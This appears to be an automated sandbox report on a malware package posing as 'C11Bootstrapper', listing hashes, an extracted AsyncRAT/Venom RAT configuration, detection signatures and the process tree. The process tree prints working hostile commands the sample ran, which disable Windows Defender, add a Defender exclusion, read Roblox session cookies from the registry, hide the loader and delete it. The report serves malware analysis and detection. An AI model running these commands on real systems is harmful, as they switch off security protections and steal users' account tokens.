Analysis
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max time kernel
1798s -
max time network
1175s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
19-04-2024 20:32
Behavioral task
behavioral1
Sample
C11Bootstrapper/Properties/C11Setup.exe
Resource
win11-20240412-en
Behavioral task
behavioral2
Sample
C11Bootstrapper/Properties/GuiLoader.exe
Resource
win11-20240412-en
Behavioral task
behavioral3
Sample
C11Bootstrapper/Properties/IndependenciesInstallation.bat
Resource
win11-20240412-en
Behavioral task
behavioral4
Sample
C11Bootstrapper/Properties/PageEditor.exe
Resource
win11-20240412-en
Behavioral task
behavioral5
Sample
C11Bootstrapper/Properties/msgbox.vbs
Resource
win11-20240412-en
General
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Target
C11Bootstrapper/Start.bat
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Size
1KB
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MD5
4e3179e79f11708b60c3af67718cc0ae
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SHA1
e22536c444427ce73dcc50091c28477c44e23210
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SHA256
6953af9e22a172b023757199cc77c0ea2353bfe7ab1843516a161081f0c1d76d
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SHA512
aaf2402399fe8887fe516a3be50054129298970dc322652dc02578a523be74135e02b6856f0b7b774df3c827b131d54828143583038bc5350c40e89dcd1409e1
Malware Config
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Default
127.0.0.1:4449
127.0.0.1:6555
127.0.0.1:0
127.0.0.1:4040
chhphkahmfnasuyziqc
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delay
1
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install
false
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install_folder
%Temp%
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral6/memory/3036-0-0x000001DDE9630000-0x000001DDE9674000-memory.dmp family_umbral -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts GuiLoader.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 26 discord.com 28 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 4 IoCs
pid Process 3720 timeout.exe 4956 timeout.exe 2888 timeout.exe 1948 timeout.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1548 wmic.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2880 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1624 C11Setup.exe 1624 C11Setup.exe 3036 GuiLoader.exe 2440 powershell.exe 2440 powershell.exe 3352 powershell.exe 3352 powershell.exe 3568 powershell.exe 3568 powershell.exe 280 powershell.exe 280 powershell.exe 1624 C11Setup.exe 4500 powershell.exe 4500 powershell.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe 1624 C11Setup.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1504 PageEditor.exe Token: SeDebugPrivilege 1624 C11Setup.exe Token: SeDebugPrivilege 3036 GuiLoader.exe Token: SeIncreaseQuotaPrivilege 2880 wmic.exe Token: SeSecurityPrivilege 2880 wmic.exe Token: SeTakeOwnershipPrivilege 2880 wmic.exe Token: SeLoadDriverPrivilege 2880 wmic.exe Token: SeSystemProfilePrivilege 2880 wmic.exe Token: SeSystemtimePrivilege 2880 wmic.exe Token: SeProfSingleProcessPrivilege 2880 wmic.exe Token: SeIncBasePriorityPrivilege 2880 wmic.exe Token: SeCreatePagefilePrivilege 2880 wmic.exe Token: SeBackupPrivilege 2880 wmic.exe Token: SeRestorePrivilege 2880 wmic.exe Token: SeShutdownPrivilege 2880 wmic.exe Token: SeDebugPrivilege 2880 wmic.exe Token: SeSystemEnvironmentPrivilege 2880 wmic.exe Token: SeRemoteShutdownPrivilege 2880 wmic.exe Token: SeUndockPrivilege 2880 wmic.exe Token: SeManageVolumePrivilege 2880 wmic.exe Token: 33 2880 wmic.exe Token: 34 2880 wmic.exe Token: 35 2880 wmic.exe Token: 36 2880 wmic.exe Token: SeIncreaseQuotaPrivilege 2880 wmic.exe Token: SeSecurityPrivilege 2880 wmic.exe Token: SeTakeOwnershipPrivilege 2880 wmic.exe Token: SeLoadDriverPrivilege 2880 wmic.exe Token: SeSystemProfilePrivilege 2880 wmic.exe Token: SeSystemtimePrivilege 2880 wmic.exe Token: SeProfSingleProcessPrivilege 2880 wmic.exe Token: SeIncBasePriorityPrivilege 2880 wmic.exe Token: SeCreatePagefilePrivilege 2880 wmic.exe Token: SeBackupPrivilege 2880 wmic.exe Token: SeRestorePrivilege 2880 wmic.exe Token: SeShutdownPrivilege 2880 wmic.exe Token: SeDebugPrivilege 2880 wmic.exe Token: SeSystemEnvironmentPrivilege 2880 wmic.exe Token: SeRemoteShutdownPrivilege 2880 wmic.exe Token: SeUndockPrivilege 2880 wmic.exe Token: SeManageVolumePrivilege 2880 wmic.exe Token: 33 2880 wmic.exe Token: 34 2880 wmic.exe Token: 35 2880 wmic.exe Token: 36 2880 wmic.exe Token: SeIncreaseQuotaPrivilege 1504 PageEditor.exe Token: SeSecurityPrivilege 1504 PageEditor.exe Token: SeTakeOwnershipPrivilege 1504 PageEditor.exe Token: SeLoadDriverPrivilege 1504 PageEditor.exe Token: SeSystemProfilePrivilege 1504 PageEditor.exe Token: SeSystemtimePrivilege 1504 PageEditor.exe Token: SeProfSingleProcessPrivilege 1504 PageEditor.exe Token: SeIncBasePriorityPrivilege 1504 PageEditor.exe Token: SeCreatePagefilePrivilege 1504 PageEditor.exe Token: SeBackupPrivilege 1504 PageEditor.exe Token: SeRestorePrivilege 1504 PageEditor.exe Token: SeShutdownPrivilege 1504 PageEditor.exe Token: SeDebugPrivilege 1504 PageEditor.exe Token: SeSystemEnvironmentPrivilege 1504 PageEditor.exe Token: SeRemoteShutdownPrivilege 1504 PageEditor.exe Token: SeUndockPrivilege 1504 PageEditor.exe Token: SeManageVolumePrivilege 1504 PageEditor.exe Token: 33 1504 PageEditor.exe Token: 34 1504 PageEditor.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1624 C11Setup.exe -
Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 3656 wrote to memory of 2228 3656 cmd.exe 86 PID 3656 wrote to memory of 2228 3656 cmd.exe 86 PID 2228 wrote to memory of 4956 2228 cmd.exe 88 PID 2228 wrote to memory of 4956 2228 cmd.exe 88 PID 2228 wrote to memory of 2888 2228 cmd.exe 89 PID 2228 wrote to memory of 2888 2228 cmd.exe 89 PID 2228 wrote to memory of 1948 2228 cmd.exe 90 PID 2228 wrote to memory of 1948 2228 cmd.exe 90 PID 2228 wrote to memory of 3700 2228 cmd.exe 91 PID 2228 wrote to memory of 3700 2228 cmd.exe 91 PID 2228 wrote to memory of 3720 2228 cmd.exe 92 PID 2228 wrote to memory of 3720 2228 cmd.exe 92 PID 2228 wrote to memory of 1624 2228 cmd.exe 93 PID 2228 wrote to memory of 1624 2228 cmd.exe 93 PID 2228 wrote to memory of 3036 2228 cmd.exe 94 PID 2228 wrote to memory of 3036 2228 cmd.exe 94 PID 2228 wrote to memory of 1504 2228 cmd.exe 95 PID 2228 wrote to memory of 1504 2228 cmd.exe 95 PID 3036 wrote to memory of 2880 3036 GuiLoader.exe 96 PID 3036 wrote to memory of 2880 3036 GuiLoader.exe 96 PID 3036 wrote to memory of 3152 3036 GuiLoader.exe 102 PID 3036 wrote to memory of 3152 3036 GuiLoader.exe 102 PID 3036 wrote to memory of 2440 3036 GuiLoader.exe 104 PID 3036 wrote to memory of 2440 3036 GuiLoader.exe 104 PID 3036 wrote to memory of 3352 3036 GuiLoader.exe 106 PID 3036 wrote to memory of 3352 3036 GuiLoader.exe 106 PID 3036 wrote to memory of 3568 3036 GuiLoader.exe 108 PID 3036 wrote to memory of 3568 3036 GuiLoader.exe 108 PID 3036 wrote to memory of 280 3036 GuiLoader.exe 110 PID 3036 wrote to memory of 280 3036 GuiLoader.exe 110 PID 3036 wrote to memory of 4956 3036 GuiLoader.exe 112 PID 3036 wrote to memory of 4956 3036 GuiLoader.exe 112 PID 3036 wrote to memory of 952 3036 GuiLoader.exe 114 PID 3036 wrote to memory of 952 3036 GuiLoader.exe 114 PID 3036 wrote to memory of 960 3036 GuiLoader.exe 116 PID 3036 wrote to memory of 960 3036 GuiLoader.exe 116 PID 3036 wrote to memory of 4500 3036 GuiLoader.exe 118 PID 3036 wrote to memory of 4500 3036 GuiLoader.exe 118 PID 3036 wrote to memory of 1548 3036 GuiLoader.exe 120 PID 3036 wrote to memory of 1548 3036 GuiLoader.exe 120 PID 3036 wrote to memory of 4940 3036 GuiLoader.exe 125 PID 3036 wrote to memory of 4940 3036 GuiLoader.exe 125 PID 4940 wrote to memory of 2880 4940 cmd.exe 127 PID 4940 wrote to memory of 2880 4940 cmd.exe 127 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3152 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Start.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K IndependenciesInstallation.bat2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\timeout.exetimeout /t 53⤵
- Delays execution with timeout.exe
PID:4956
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C:\Windows\system32\timeout.exetimeout /t 13⤵
- Delays execution with timeout.exe
PID:2888
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C:\Windows\system32\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
PID:1948
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"3⤵PID:3700
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C:\Windows\system32\timeout.exetimeout /t 43⤵
- Delays execution with timeout.exe
PID:3720
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C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exeC11Setup.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1624
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C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exeGuiLoader.exe3⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2880
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"4⤵
- Views/modifies file attributes
PID:3152
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 24⤵
- Suspicious behavior: EnumeratesProcesses
PID:3352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3568
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:280
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption4⤵PID:4956
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory4⤵PID:952
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵PID:960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4500
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name4⤵
- Detects videocard installed
PID:1548
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause4⤵
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\system32\PING.EXEping localhost5⤵
- Runs ping.exe
PID:2880
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C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exePageEditor.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1504
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
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Filesize
1KB
MD5c321dfee531730b7e0b81470b947da3f
SHA10488401f4fc03bcdab19eeff194ff12f4439e1cb
SHA2566d7da148fe930cf085b5369427eb24e66844d7f00fcc197f056e0763c7a76117
SHA512eee78a9529b1d89631ac8dbaef716eba95166d8c465a2c075bf89d28fab4c25a48c4d29d7f19ab0249b245bf45fac63214b092aaef9b3a09b4f8e6cfa85a076a
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Filesize
944B
MD5e3840d9bcedfe7017e49ee5d05bd1c46
SHA1272620fb2605bd196df471d62db4b2d280a363c6
SHA2563ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f
SHA51276adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376
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Filesize
948B
MD56bddc96a32b9ed8fc70b141ccf4a39b2
SHA10f33c0699da40a5eadcec646791cf21cdb0dd7c6
SHA256cb3853abe77eb0da8a1caccb49e97a573b6f35570722eb759116a645d724c132
SHA512e41f1597b4129b759e4199db195df1c24e47cc47dc9850fab2d48e44bc3d37dc3658fbfbb62332a0b93c552587d7fab09de1634f605faa2209b8470c2a6eaca6
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Filesize
1KB
MD57332074ae2b01262736b6fbd9e100dac
SHA122f992165065107cc9417fa4117240d84414a13c
SHA256baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa
SHA5124ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
8B
MD5cf759e4c5f14fe3eec41b87ed756cea8
SHA1c27c796bb3c2fac929359563676f4ba1ffada1f5
SHA256c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
SHA512c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b